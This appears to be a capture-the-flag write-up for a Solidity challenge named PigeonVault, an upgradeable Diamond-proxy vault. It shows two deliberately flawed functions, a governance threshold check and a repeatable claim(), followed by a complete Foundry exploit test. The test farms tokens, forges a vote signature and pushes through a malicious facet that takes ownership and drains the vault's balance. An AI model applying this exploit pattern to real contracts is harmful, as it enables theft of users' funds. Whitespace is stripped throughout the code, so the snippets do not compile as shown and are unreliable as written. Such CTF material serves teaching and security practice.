rainbowpigeon has just received a massive payout from his secret business, and he now wants to create a secure vault to store his cryptocurrency assets. To achieve this, he developed PigeonVault, and being a smart guy, he made provisions for upgrading the contract in case he detects any vulnerability in the system.
Find out a way to steal his funds before he discovers any flaws in his implementation.
functionisUserGovernance(address_user)internalviewreturns(bool){uint256totalSupply=s.totalSupply;uint256userBalance=LibDAO.getCurrentVotes(_user);uint256threshold=(userBalance*100)/totalSupply;returnuserBalance>=threshold;// If userBalance equals 0, then the threshold is 0 and satisfies this condition}
functionclaim()external{require(!claimed,"You already claimed");boolsuccess=IERC20(address(pigeonDiamond)).transfer(msg.sender,10_000ether);require(success,"Failed to send");}
pragmasolidity^0.8.17;import"forge-std/Test.sol";import"../src/Setup.sol";import"../src/libraries/LibDiamond.sol";import"../src/interfaces/IDAOFacet.sol";interfaceIFTCFacet{functiondelegate(address_delegatee)external;}contractHackFacet{functionexploit(addressplayer)external{LibDiamond.setContractOwner(player);payable(player).transfer(address(this).balance);}}contractSolveTestisTest{Setupsetup;addresspigeonDiamond;uintconstantprivKey=0xdead;addressimmutablehacker=vm.addr(privKey);functionsetUp()public{setup=newSetup{value:3000ether}();pigeonDiamond=address(setup.pigeonDiamond());}functiontestSolve()public{vm.startPrank(hacker);addresshackFacet=address(newHackFacet());bytes4[]memoryselectors=newbytes4[](1);selectors[0]=bytes4(keccak256("exploit()"));IDiamondCut.FacetCutmemorydiamondCut=IDiamondCut.FacetCut({facetAddress:hackFacet,action:IDiamondCut.FacetCutAction.Add,functionSelectors:selectors});IFTCFacet(pigeonDiamond).delegate(hacker);for(uint8i;i<11;++i){setup.claim();}uintproposalId=IDAOFacet(pigeonDiamond).submitProposal(hackFacet,abi.encodeWithSignature("exploit(address)",hacker),diamondCut);(uint8v,bytes32r,bytes32s)=vm.sign(privKey,keccak256("\x19Ethereum Signed Message:\n32"));bytesmemorysignature=abi.encodePacked(r,s,v);vm.roll(2);IDAOFacet(pigeonDiamond).castVoteBySig(proposalId,true,signature);vm.roll(10);IDAOFacet(pigeonDiamond).executeProposal(proposalId);assert(setup.isSolved());vm.stopPrank();}}